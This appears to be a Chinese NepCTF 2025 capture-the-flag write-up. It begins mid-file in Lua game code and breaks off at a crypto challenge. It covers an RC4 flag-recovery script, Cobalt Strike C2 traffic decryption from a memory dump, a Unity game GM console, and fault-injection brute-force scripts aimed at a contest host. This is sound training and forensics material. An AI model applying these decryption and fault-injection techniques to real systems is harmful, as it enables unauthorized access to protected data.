local gc_setColor,gc_setLineWidth=gc.setColor,gc.setLineWidth
local gc_mRect, gc_mDraw, gc_mDrawQ, gc_strokeDraw = GC.mRect, GC.mDraw, GC.mDrawQ, GC.strokeDraw
local gc_draw = gc.draw
local gc_blurCircle, gc_strokePrint = GC.blurCircle, GC.strokePrint
local gc_rectangle=gc.rectangle
local gc_print=gc.print

local height_text = GC.newText(FONT.get(30))
local number_text = GC.newText(FONT.get(30))
local chargeIcon = GC.load {
w = 512, h = 512,
{ 'move', 256, 256 },
{ 'fCirc', 0, 0, 180, 4 },
{ 'rotate', .5236 },
{ 'fCirc', 0, 0, 180, 4 },
{ 'rotate', .5236 },
{ 'fCirc', 0, 0, 180, 4 },
}
function scene.draw()
-- Texts
gc_setColor(COLOR.L)
FONT.set(20)
gc_print('Speedmino Created By MrZ and modified by zxc', 10, 0)
gc_print('DAS '..das, 10, 30)
gc_print('ARR '..arr, 10, 50)
gc_print('Press - + [ ] to set DAS/ARR', 10, 80)
if bindingKey then
gc_setColor(love.timer.getTime()%.26<.126 and COLOR.L or COLOR.Y)
gc_setLineWidth(1)
gc_rectangle('line', 5, 124+20*bindingKey, 226, 20)
end
for i=1,#actionList do
gc_print(actionList[i], 10, 120+20*i)
gc_print(keyConf[i], 150, 120+20*i)
end
gc_print('Press Tab to rebind keys', 10, 310)

-- Background Text
gc_setColor(0.15,0.15,0.15,1)
if trymore >= 2600 then
gc_setColor(COLOR.Orange)
end
FONT.set(40)
gc_print(tableToStr(youwillget), 30, 400)
if not playing then
gc_setColor(COLOR.DarkLight)
gc_print("PRESS R TO TRY AGAIN", 450, 500)
end

gc_translate(475, 850)
gc_setLineWidth(8)

-- Time
gc_setColor(COLOR.L)
FONT.set(30)
gc_print(string.format('%.3f', time), -160, -40)

-- Multi
gc_setColor(multiColorTable[(multi-1) % #multiColorTable])
gc_rectangle('line', -4, 48, 408, -32)
FONT.set(30)
gc_print(string.format('x%d', multi), 412, 16)
gc_rectangle('fill', 0, 24, 396, 16)
local multiProgress = multiGauge / (multi * 3)
gc_setColor(multiColorTable[(multi) % #multiColorTable])
gc_rectangle('fill', 0, 24, multiProgress * 396, 16)

-- Score
gc_setColor(COLOR.L)
FONT.set(30)

height_text:set(("%.2f"):format(score))
local wid, hgt = height_text:getDimensions()
gc_strokeDraw('corner', 1, height_text, 200, 30, 0, 0.8, 0.8, wid / 2, hgt / 2)


if playing then
-- Board
gc_setColor(COLOR.dL)

gc_rectangle("line", -4, 4, 408, -808)
-- Field
for y=1,40 do
for x=1,10 do
if field[y][x] then
gc_setColor(colors[field[y][x]])
gc_rectangle('fill', (x-1)*40, -(y)*40, 40, 40)
end
end
end

-- Ghost
gc_setColor(1, 1, 1, .26)
for y=1,#hand do
for x=1,#hand[1] do
if hand[y][x] then
gc_rectangle('fill', (handX+x-2)*40, -(ghostY+y-1)*40, 40, 40)
end
end
end

-- Hand Outline
gc_setColor(1, 1, 1, (lockTimer/lockDelay)^2)
for y=1,#hand do
for x=1,#hand[1] do
if hand[y][x] then
gc_rectangle('fill', (handX+x-2)*40-4, -(handY+y-1)*40-4, 40+8, 40+8)
end
end
end

-- Hand
for y=1,#hand do
for x=1,#hand[1] do
if hand[y][x] then
gc_setColor(colors[hand[y][x]])
gc_rectangle('fill', (handX+x-2)*40, -(handY+y-1)*40, 40, 40)
end
end
end

-- Hold
if holdSlot then
for y=1,#holdSlot do
for x=1,#holdSlot[1] do
if holdSlot[y][x] then
gc_setColor(colors[holdSlot[y][x]])
gc_rectangle('fill', (x-3.5-#holdSlot[1]/2)*40, -(y+18.5-#holdSlot/2)*40, 40, 40)
end
end
end
end

-- Next
for i=1,6 do
for y=1,#nextQueue[i] do
for x=1,#nextQueue[i][1] do
if nextQueue[i][y][x] then
gc_setColor(colors[nextQueue[i][y][x]])
gc_rectangle('fill', (x+11.5-#nextQueue[i][1]/2)*40,
-(y+18.5-#nextQueue[i]/2-(i-1)*2.5)*
40, 40, 40)
end
end
end
end
end

local pos_x,pos_y,lefttime,b2bAlpha,spikeAlpha
--B2B
if b2b >= 1 then
pos_x = -70
pos_y = -600
b2bAlpha = math.min(b2b * 0.1 - 0.3,1)
gc_setColor(COLOR.L)
FONT.set(30)
gc_print("B2B x", pos_x - 130, pos_y - 15)

gc_setColor(0.626,0,0,b2bAlpha)
if b2b >= 4 then
gc_blurCircle(-.26, pos_x, pos_y ,100 * 1)
gc_mDraw(chargeIcon, pos_x, pos_y, time * 2.6, .25)
end
number_text:set(("%d"):format(b2b))
gc_setColor(COLOR.Y)
gc_mDraw(number_text, pos_x, pos_y, 0, 1)
end

--COMBO
if combo >= 1 then
pos_x = -100
pos_y = -550
gc_setColor(COLOR.L)
FONT.set(25)
gc_print("Combo x", pos_x - 130, pos_y - 15)
gc_setColor(COLOR.B)
number_text:set(("%d"):format(combo))
gc_mDraw(number_text, pos_x + 30, pos_y, 0, 1)
end

--SPEEDCOMBO
if speedcombo >= 1 then
pos_x = -100
pos_y = -500
gc_setColor(COLOR.L)
FONT.set(25)
gc_print("Speed x", pos_x - 130, pos_y - 15)
gc_setColor(COLOR.P)

number_text:set(("%d"):format(speedcombo))
gc_mDraw(number_text, pos_x + 30, pos_y, 0, 1)
lefttime = math.min(speedcombotime - time,10)
if lefttime >= 0 then
gc_rectangle('fill', pos_x - 25, pos_y + 20, lefttime * 10, 5)
end
end

--LastAttack Spike
if lastSpike >= 8 then
pos_x = -100
pos_y = -300
spikeAlpha = math.max(math.min(lastSpikeEndTime - time,2.0) / 2,0)
gc_setColor(1,1,1,spikeAlpha)
if lastSpike >= 10 then
gc_blurCircle(-.26, pos_x, pos_y ,100 * 1)
gc_mDraw(chargeIcon, pos_x, pos_y, time * lastSpike / 10, .2 + lastSpike / 400)
end
gc_setColor(1.0,0.192,0.15,spikeAlpha)
number_text:set(("%d"):format(lastSpike))
gc_mDraw(number_text, pos_x, pos_y, 0, 1 + lastSpike / 50)
end

pos_x = -100
pos_y = -200
if time - lastAttackTime < 0.5 then
attackAlpha = 1.0
else
attackAlpha = math.max(math.min((lastAttackTime + 1.0 - time) * 2,1.0),0)
end
number_text:set(("+%d"):format(lastAttack))
gc_setColor(0.960,0.545,0,attackAlpha)
gc_mDraw(number_text, pos_x, pos_y, 0, 1)



end

SCN.add('main', scene)

方法一:

游戏每次得分整数增加时都会对存储在 youwillget 数组中的密文调用一次 calcData();当调用次数达到 2600 次时,这个数组就变成了真正的 flag。但在开始游戏时还会先用 55 个空格(从剪贴板读取后补足)对 RC 4 进行一次初始化

写一个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
def ksa(key: str) -> list[int]:
"""密钥调度算法,初始化状态数组"""
key_length = len(key)
state = list(range(256))
j = 0

for i in range(256):
# 计算j的值并交换元素
j = (j + state[i] + ord(key[i % key_length])) % 256
state[i], state[j] = state[j], state[i]

return state


def process_data(text_table: list[int], secret_box: list[int], secret_i: int, secret_j: int) -> tuple[list[int], int, int]:
"""处理数据,类似于RC4的伪随机数生成过程"""
length = text_table[0]
result = [0] * (length + 1)
result[0] = length # 保留长度信息

for n in range(1, length + 1):
secret_i = (secret_i + 1) % 256
secret_j = (secret_j + secret_box[secret_i]) % 256
# 交换状态数组中的元素
secret_box[secret_i], secret_box[secret_j] = secret_box[secret_j], secret_box[secret_i]
# 计算位置并生成结果
pos = (secret_box[secret_i] + secret_box[secret_j]) % 256
result[n] = (text_table[n] + secret_box[pos]) % 256

return result, secret_i, secret_j


def main() -> str:
"""主函数,执行算法并处理数据并返回结果"""
# 初始化密钥和状态
key = "Speedmino Created By MrZ and modified by zxc"
secret_box = ksa(key)
secret_i, secret_j = 0, 0

# 处理55个空格的passTable
pass_table = [55] + [32] * 55 # 第一个元素是长度
_, secret_i, secret_j = process_data(pass_table, secret_box, secret_i, secret_j)

# 初始化数据
initial_data = [
187, 24, 5, 131, 58, 243, 176, 235, 179, 159, 170, 155, 201, 23, 6, 3, 210, 27, 113, 11,
161, 94, 245, 41, 29, 43, 199, 8, 200, 252, 86, 17, 72, 177, 52, 252, 20, 74, 111, 53,
28, 6, 190, 108, 47, 16, 237, 148, 82, 253, 148, 6
]
current_data = [52] + initial_data # 第一个元素是长度

# 执行2600次迭代处理
for _ in range(2600):
current_data, secret_i, secret_j = process_data(current_data, secret_box, secret_i, secret_j)

# 转换结果为字符串(去掉长度信息)
return ''.join(map(chr, current_data[1:]))


if __name__ == "__main__":
print(main())

运行得到

方法二:

在main.lua代码找到和控制分数增长速度相关的部分

这段代码 scoreBuffer = scoreBuffer + multi * dt * 1 * 0.25 是游戏计分系统的一部分,用于随时间逐步增加玩家的分数。

修改0.25改为50

这个游戏是使用LÖVE 2D引擎制作的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
1. LÖVE特有的全局对象和函数
love.keyboard.setKeyRepeat(false) - 键盘输入控制

love.graphics - 图形绘制模块(在scene.draw中大量使用)

love.timer.getTime() - 获取游戏时间

CLIPBOARD.get() - 剪贴板操作

2. LÖVE的生命周期函数
虽然代码使用了Zenitha场景管理库,但底层仍然是LÖVE的回调机制:

lua
---@type Zenitha.Scene
local scene={}

function scene.load() -- 相当于love.load
function scene.update(dt) -- 相当于love.update
function scene.draw() -- 相当于love.draw
function scene.keyDown(key) -- 相当于love.keypressed
function scene.keyUp(key) -- 相当于love.keyreleased

SCN.add('main', scene) -- 注册场景
3. LÖVE特有的模块
音频系统:

lua
SFX.load{...} -- 加载音效
BGM.load{...} -- 加载背景音乐
SFX.play('sound_name') -- 播放音效
BGM.play('bgm_name') -- 播放背景音乐
图形系统:

lua
gc = love.graphics -- 图形模块别名
gc.setColor() -- 设置绘图颜色
gc.rectangle() -- 绘制矩形
gc.print() -- 绘制文本
4. LÖVE的数学和工具函数
math.min, math.max, math.floor等数学函数

TABLE工具库(可能是自定义的,但用于LÖVE环境)

5. LÖVE的模块化设计
代码结构遵循LÖVE的模块化设计:

场景管理(Zenitha库)

资源加载(SFX、BGM)

输入处理(键盘事件)

游戏循环(update/draw)

6. LÖVE特有的参数
dt(delta time)参数在update函数中:

lua
function scene.update(dt)
这是LÖVE引擎的标准设计,表示上一帧到当前帧的时间间隔(秒)

7. LÖVE的绘图模式
绘图代码使用LÖVE的坐标系和绘图原语:

lua
gc_rectangle('fill', x, y, width, height) -- 填充矩形
gc_rectangle('line', x, y, width, height) -- 绘制矩形边框
gc_translate(x, y) -- 坐标变换

访问 LÖVE 2D 官方网站下载LÖVE 2D引擎

将俄罗斯方块游戏文件夹拖进love.exe,LÖVE 引擎会自动识别文件夹里的 main.lua 文件并开始运行游戏

玩一会不到60s获得flag

然后自杀得到完整flag

最后flag为

1
NepCTF{You_ARE_SpeedMino_GRAND-MASTER_ROUNDS!_TGLKZ}

客服小美

题目描述:

1
2025年的一个午后,客服小美满怀期待地点开了那封标题为“关于2025年部分节假日安排”的邮件,结果嘛……你懂的,套路来了!作为应急响应界的“技术侦探”,现在轮到你出手啦!你的任务是找出被控机器的用户名、揪出那个偷偷通信的钓鱼木马地址,顺便看看有没有啥敏感信息被顺走。快来动动脑,展现你破案如神的本领吧!flag格式例如:NepCTF{xiaomei_8.8.8.8:11451_secret}

下载附件

lovemem载入内存文件,使用memprocfs功能在M:\forensic\files\ROOT\Users找到用户名

得到被控机器的用户名

1
JohnDoe

打开流量文件,统计会话端点,过滤http协议

由192.168.27.169:49693发到192.168.27.132:12580

确定木马地址是

1
192.168.27.132:12580

在M:\forensic\files\ROOT\Users\JohnDoe\Desktop发现可疑进程

放进云沙箱分析

得知是CobaltStrike,也就是常说的cs流量

cs流量参考文章

https://5ime.cn/cobaltstrike-decrypt.html

通过进程内存提取密钥解密Cobalt Strike流量 - 安全内参 | 决策者的网络安全知识库

lovemem提取恶意程序的进程转储一把梭

通过cs-parse-http-traffic.py尝试提取加密数据流量

1
python cs-parse-http-traffic.py -k unknown DESKTOP.pcapng

关注90,110,130,140,151这些流量数据

选取140流量内容解密得到hmac key和aes key

1
python cs-extract-key.py -t ecfff639c9a79bbb3c59bbec390fa070335fa6d5b33c7ba752fe9803ee2082296233a5dcd7f76c8adb3a1e404df09447 pid.6492.dmp

得到

1
2
AES Key:  a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7
HMAC Key: 35d34ac8778482751682514436d71e09

打开流量文件过滤post请求

1
http.request.method==POST

在第三个请求找到数据,复制教程如下

使用lunatic师傅的cscs这题的脚本解的数据

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import hmac
import binascii
import base64
import hexdump
from Crypto.Cipher import AES


def decrypt(encrypted_data, iv_bytes, signature, shared_key, hmac_key):
if hmac.new(hmac_key, encrypted_data, digestmod="sha256").digest()[:16] != signature:
print("message authentication failed")
return
cipher = AES.new(shared_key, AES.MODE_CBC, iv_bytes)
return cipher.decrypt(encrypted_data)


if __name__ == "__main__":
SHARED_KEY = binascii.unhexlify("a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7")
HMAC_KEY = binascii.unhexlify("35d34ac8778482751682514436d71e09")
encrypt_datas = ["00000050350ca7f4379f30cc9d6d671db886d360691c74467156e60e8356725ae2f3b880b302ea8b5556df10324e86e53ecb84046646a1758e9cb8c7fca42d660617be467627abcc3c0ce3bd3e93c02fffcb4d3a"]
for encrypt_data in encrypt_datas:
# encrypt_data = base64.b64decode(encrypt_data)
encrypt_data = bytes.fromhex(encrypt_data)
encrypt_data_length = int.from_bytes(encrypt_data[:4], byteorder='big', signed=False)
encrypt_data_l = encrypt_data[4:]
data1 = encrypt_data_l[:encrypt_data_length - 16]
signature = encrypt_data_l[encrypt_data_length - 16:]
iv_bytes = b"abcdefghijklmnop"

dec = decrypt(data1, iv_bytes, signature, SHARED_KEY, HMAC_KEY)
print(f"{'=' * 80}")
print("[+] counter: {}".format(int.from_bytes(dec[:4], byteorder='big', signed=False)))
print("[+] 任务返回长度: {}".format(int.from_bytes(dec[4:8], byteorder='big', signed=False)))
print("[+] 任务输出类型: {}".format(int.from_bytes(dec[8:12], byteorder='big', signed=False)))
output = dec[12:int.from_bytes(dec[4:8], byteorder='big', signed=False)].decode('gbk', errors='ignore')
print(hexdump.hexdump(dec))
print(output)

运行得到

得到敏感信息

1
5c1eb2c4-0b85-491f-8d50-4e96

其实还可以不用脚本,也是利用cs-parse-traffic.py

1
python cs-parse-traffic.py -k 35d34ac8778482751682514436d71e09:a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7 

网上脚本不行,运行会报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
  File "/root/Desktop/cs/cs-parse-http-traffic.py", line 601, in <module>
Main()
~~~~^^
File "/root/Desktop/cs/cs-parse-http-traffic.py", line 598, in Main
ProcessArguments(args, options)
~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^
File "/root/Desktop/cs/cs-parse-http-traffic.py", line 570, in ProcessArguments
AnalyzeCapture(filename, options)
~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^
File "/root/Desktop/cs/cs-parse-http-traffic.py", line 554, in AnalyzeCapture
ProcessPostPacketData(data_raw[0], oOutput, oCrypto, dCallbacksSummary, options)
~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/root/Desktop/cs/cs-parse-http-traffic.py", line 512, in ProcessPostPacketData
ProcessPostPacketDataSub(oStructData.GetString('>I'), oOutput, oCrypto, dCallbacksSummary, options)
~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/root/Desktop/cs/cs-parse-http-traffic.py", line 485, in ProcessPostPacketDataSub
oOutput.Line(callbackdata.decode())
~~~~~~~~~~~~~~~~~~~^^
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xb9 in position 2150: invalid start byte

解析Cobalt Strike流量时的编码处理不了utf-8

所以我自己修改了一下,运行就可以了

最后flag为

1
NepCTF{JohnDoe_192.168.27.132:12580_5c1eb2c4-0b85-491f-8d50-4e965b9d8a43}

MoewBle喵泡

题目描述:

1
2
3
寻找flag碎片拼接起来吧(

游戏内容相关的有什么意见欢迎大家批评

下载附件

游戏题,先打开看看

碰到刺就会死,遇到蓝色墙就会得到flag碎片或者提示,对于手残党加上死太多次没耐心的我不可能手打通关

因为这一看就是unity游戏,搜索到解析unity游戏的软件

Downloads

将游戏文件夹导入进去,转为unity项目

在D:\tmp1\meowble\ExportedProject\Assets\Scenes找到关卡文件

使用notepad检索TipText

统计flag碎片

1
2
3
4
5
6
7
8
You find first part: 9472
2nd part: 1248-77
part 3 is 3d-0
part four: b25-
要相信我呀,我也不是故意在刺下面放的。第五部分是 0e2
不是?咋还往回走的?服了你了,第六部分是 d-db 。 回去吧,右边没东西了
8 is c29
恭喜通关啦!最后一段flag是 9389。你问为什么少了一段,我不知道喵~~你试试GM呢

目前缺少第七段flag,提示GM

看出题人给的提示

切换GM方式是上上下下左右左右baba

在游戏过程中的设置页面里操作即可打开gm面板

help后发现有getflag的方法

1
输入getflag 7 得到最后缺少的部分

最后flag为

1
NepCTF{94721248-773d-0b25-0e2d-db9cac299389}

easyshock

题目描述:

1
有一只佩戴了电击项圈的turtle,如果有人说出了"SHOCK"就会遭到电击,你能从turtle口中泄露信息吗

下载附件

先看看text.txt

1
2
3
Fault Injection (FI) is a powerful physical attack technique targeting cryptographic implementations, specifically designed to compromise devices like smart cards, secure enclaves, or hardware security modules (HSMs) running the Advanced Encryption Standard (AES). Unlike purely mathematical cryptanalysis, FI exploits vulnerabilities introduced when a device is forced to operate outside its normal parameters.

Neuro shocks the turtle and leaks the flag:

看不懂,翻译一下

密码,这是什么玩意?

看看main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#!/usr/bin/env python    
from unicorn import *
from unicorn.x86_const import *
from capstone import *
from capstone.x86_const import *
import os
import random
from Crypto.Util.number import *
from Crypto.Cipher import ARC4

FLAG = os.getenv('FLAG','test{This_is_a_test_flag_connect_to_get_true_flag}').encode()

CODE_COUNT = 0
TARGET_COUNT = 0
# memory address where emulation starts
CODE_ADDRESS = 0x110000
DATA_ADDRESS = 0x220000
OUTPUT_ADDRESS = 0x330000
KEY_ADDRESS = 0x440000
STACK_ADDRESS = 0x880000
CODE = b''
with open("prog","rb") as f:
CODE = f.read()


ENTRY_POINT = CODE_ADDRESS + 0x0
ENTRY_POINT_END = CODE_ADDRESS + 0x296


def flipBit(uc:Uc,reg_name:str):
randBit = random.randint(0,7) #not 0,63
reg_num = eval("UC_X86_REG_" + reg_name.upper())
reg_value = uc.reg_read(reg_num)
reg_value ^= 1 << randBit
uc.reg_write(reg_num,reg_value)

def shock(uc:Uc):
rip = uc.reg_read(UC_X86_REG_RIP)
code = uc.mem_read(rip,16)
md = Cs(CS_ARCH_X86, CS_MODE_64)
md.detail = True
dis = None
for d in md.disasm(code, 0):
dis = d
break
for reg_list in dis.regs_access():
for reg in reg_list:
flipBit(uc,md.reg_name(reg))


def hook_code(uc:Uc, address, size, user_data):
global CODE_COUNT
if(CODE_COUNT >= 199999):
print(" [⏰] Time Limit Exceed")
uc.emu_stop()
if(CODE_COUNT == TARGET_COUNT):
print(" [⚡] Shock!")
shock(uc)
CODE_COUNT += 1

def run(data,key,target):
# print(" [🔒] to enc: ",data.hex())
try:
global CODE_COUNT
global TARGET_COUNT
CODE_COUNT = 0
TARGET_COUNT = target
# Initialize emulator
mu = Uc(UC_ARCH_X86, UC_MODE_64)

# map memory
mu.mem_map(CODE_ADDRESS, 1 * 0x1000) # Code
mu.mem_map(DATA_ADDRESS, 1 * 0x1000) # DATA
mu.mem_map(OUTPUT_ADDRESS, 1 * 0x1000) # Output
mu.mem_map(KEY_ADDRESS, 1 * 0x1000) # KEY
mu.mem_map(STACK_ADDRESS, 2 * 0x1000) # STACK
# write machine code to be emulated to memory

mu.mem_write(CODE_ADDRESS, CODE)
mu.mem_write(KEY_ADDRESS, key)
mu.mem_write(DATA_ADDRESS, data)

# initialize machine registers
mu.reg_write(UC_X86_REG_RIP, ENTRY_POINT)
mu.reg_write(UC_X86_REG_RDI, DATA_ADDRESS)
mu.reg_write(UC_X86_REG_RSI, KEY_ADDRESS)
mu.reg_write(UC_X86_REG_RDX, OUTPUT_ADDRESS)
mu.reg_write(UC_X86_REG_RSP, STACK_ADDRESS + 0x1000)

# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code)

# emulate machine code in infinite time
mu.emu_start(ENTRY_POINT, ENTRY_POINT_END)

result = mu.mem_read(OUTPUT_ADDRESS, 1024)
print(" [▶️] Result: ",result.hex())

except UcError as e:
print(" [💥] BOOM: %s" % e) # https://www.bilibili.com/video/BV1ynKQzHEED



def generateData():
text = open("text.txt","rb").read() + FLAG + b'\x0A'
key = os.urandom(16)
cipher = ARC4.ARC4Cipher(key).encrypt(text)
return cipher,key


cipher,key = generateData()
Shocktime = -1
Shocktime=input("time to shock: ")
try:
Shocktime=int(Shocktime)
except:
print("wrong input!")
run(cipher,key,Shocktime)

拿ai分析分析代码

大致是这样

本地爆破寻找有效shocktime并且记录 shock成功的次数

借用大佬2hi5hu脚本

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
import os
import random
from Crypto.Cipher import ARC4
from unicorn import *
from unicorn.x86_const import *
from capstone import *
from capstone.x86_const import *

# ==== 基础参数 ====
FLAG = b'test{dummy_flag}'
CODE_COUNT = 0
TARGET_COUNT = 0

CODE_ADDRESS = 0x110000
DATA_ADDRESS = 0x220000
OUTPUT_ADDRESS = 0x330000
KEY_ADDRESS = 0x440000
STACK_ADDRESS = 0x880000

with open("prog", "rb") as f:
CODE = f.read()

ENTRY_POINT = CODE_ADDRESS
ENTRY_POINT_END = CODE_ADDRESS + 0x296

# ==== 模拟核心 ====
def flipBit(uc: Uc, reg_name: str):
randBit = random.randint(0, 7)
reg_num = eval("UC_X86_REG_" + reg_name.upper())
reg_value = uc.reg_read(reg_num)
reg_value ^= 1 << randBit
uc.reg_write(reg_num, reg_value)

def shock(uc: Uc):
rip = uc.reg_read(UC_X86_REG_RIP)
code = uc.mem_read(rip, 16)
md = Cs(CS_ARCH_X86, CS_MODE_64)
md.detail = True
dis = next(md.disasm(code, 0), None)
if dis:
for reg_list in dis.regs_access():
for reg in reg_list:
flipBit(uc, md.reg_name(reg))

def hook_code(uc: Uc, address, size, user_data):
global CODE_COUNT
if CODE_COUNT >= 200000:
uc.emu_stop()
if CODE_COUNT == TARGET_COUNT:
shock(uc)
CODE_COUNT += 1

def emulate(cipher, key, target):
global CODE_COUNT, TARGET_COUNT
CODE_COUNT = 0
TARGET_COUNT = target

mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(CODE_ADDRESS, 0x1000)
mu.mem_map(DATA_ADDRESS, 0x1000)
mu.mem_map(OUTPUT_ADDRESS, 0x1000)
mu.mem_map(KEY_ADDRESS, 0x1000)
mu.mem_map(STACK_ADDRESS, 0x2000)

mu.mem_write(CODE_ADDRESS, CODE)
mu.mem_write(DATA_ADDRESS, cipher)
mu.mem_write(KEY_ADDRESS, key)

mu.reg_write(UC_X86_REG_RIP, ENTRY_POINT)
mu.reg_write(UC_X86_REG_RDI, DATA_ADDRESS)
mu.reg_write(UC_X86_REG_RSI, KEY_ADDRESS)
mu.reg_write(UC_X86_REG_RDX, OUTPUT_ADDRESS)
mu.reg_write(UC_X86_REG_RSP, STACK_ADDRESS + 0x1000)

mu.hook_add(UC_HOOK_CODE, hook_code)

try:
mu.emu_start(ENTRY_POINT, ENTRY_POINT_END)
result = mu.mem_read(OUTPUT_ADDRESS, 512)
return result
except:
return b''

# ==== 构造密文 ====
def generate_cipher():
text = open("text.txt", "rb").read() + FLAG + b'\n'
key = os.urandom(16)
cipher = ARC4.ARC4Cipher(key).encrypt(text)
return cipher, key

# ==== 本地爆破 ====
if __name__ == '__main__':
cipher, key = generate_cipher()
successes = []

for shocktime in range(1, 100000):
if shocktime % 2000 == 0:
print(f"[*] Testing shocktime = {shocktime}")
found = False
for _ in range(10): # 每个点尝试 10 次
result = emulate(cipher, key, shocktime)
if FLAG in result:
print(f"[!!] HIT shocktime = {shocktime}")
successes.append(shocktime)
found = True
break
# 不停止,继续下一个 shocktime

print("\n=== 爆破完成 ===")
print("成功的 shocktime 列表:", successes)

运行得到

选择shocktime = 49206,远程获取flag

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import socket
import ssl

# 靶场地址和端口
HOST = 'nepctf32-emgx-5n4g-usad-fhfqgq1wk035.nepctf.com'
PORT = 443

# 要发送的 shocktime
SHOCKTIME = 49202

# 建立 SSL 连接并发送 shocktime
with socket.create_connection((HOST, PORT), timeout=10) as raw_sock:
ctx = ssl.create_default_context()
conn = ctx.wrap_socket(raw_sock, server_hostname=HOST)

# 读取直到提示出现
prompt = b''
while b'time to shock:' not in prompt:
chunk = conn.recv(1024)
if not chunk:
break
prompt += chunk
print(prompt.decode(errors='ignore'), end='')

# 发送 shocktime
conn.sendall(f"{SHOCKTIME}\n".encode())

# 读取并打印服务器响应
response = b''
conn.settimeout(5)
try:
while True:
data = conn.recv(4096)
if not data:
break
response += data
except socket.timeout:
pass

print(response.decode(errors='ignore'))

运行得到

然后赛博厨子一把梭得到flag

后面自己优化了脚本

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import socket
import ssl
import re
from binascii import unhexlify

# 靶场地址和端口
HOST = 'nepctf32-emgx-5n4g-usad-fhfqgq1wk035.nepctf.com'
PORT = 443
SHOCKTIME = 49206 # 这个值有效!

def extract_flag(data):
"""从响应数据中提取flag"""
# 尝试直接匹配flag格式
flag_match = re.search(r'NepCTF\{[^}]+}', data)
if flag_match:
return flag_match.group(0)

# 尝试匹配十六进制结果
hex_match = re.search(r'Result:\s*([0-9a-fA-F]+)', data)
if hex_match:
try:
hex_str = hex_match.group(1).strip()
# 确保十六进制字符串长度为偶数
if len(hex_str) % 2 != 0:
hex_str = hex_str[:-1]

# 转换为字节
plaintext = unhexlify(hex_str)

# 在字节中查找flag
flag_bytes_match = re.search(rb'Neuro shocks the turtle and leaks the flag: (NepCTF\{[^}]+\})', plaintext)
if flag_bytes_match:
return flag_bytes_match.group(1).decode()

# 尝试直接解码为字符串
try:
decoded_text = plaintext.decode('utf-8', errors='ignore')
flag_text_match = re.search(r'Neuro shocks the turtle and leaks the flag: (NepCTF\{[^}]+\})', decoded_text)
if flag_text_match:
return flag_text_match.group(1)
except:
pass
except:
pass

return None

try:
# 建立 SSL 连接
with socket.create_connection((HOST, PORT), timeout=15) as raw_sock:
raw_sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
conn = ctx.wrap_socket(raw_sock, server_hostname=HOST)
conn.settimeout(10)

# 读取提示
prompt = b''
while b'time to shock:' not in prompt:
chunk = conn.recv(1024)
if not chunk:
break
prompt += chunk

# 发送 shocktime
conn.sendall(f"{SHOCKTIME}\n".encode())

# 读取响应
response = b''
try:
while True:
chunk = conn.recv(4096)
if not chunk:
break
response += chunk
except (socket.timeout, ssl.SSLError):
pass

# 解码响应
response_str = response.decode(errors='ignore')

# 提取flag
flag = extract_flag(response_str)
if not flag:
flag = extract_flag(response_str) # 再次尝试

if flag:
print(f"🎉 成功获取 FLAG: {flag}")
else:
print("⚠️ 未找到FLAG,原始响应:")
print(response_str)

except Exception as e:
print(f"发生错误: {e}")

运行得到

最后flag为

1
NepCTF{oHhhHHhhhHHH-l-G3t_sHoOO0oOoo00o0ocK3D_a4@aAA@AAAAAAH0}

crypto

Nepsign

题目描述:

1
来签个名吧!flag格式为NepCTF{xxx}

下载附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
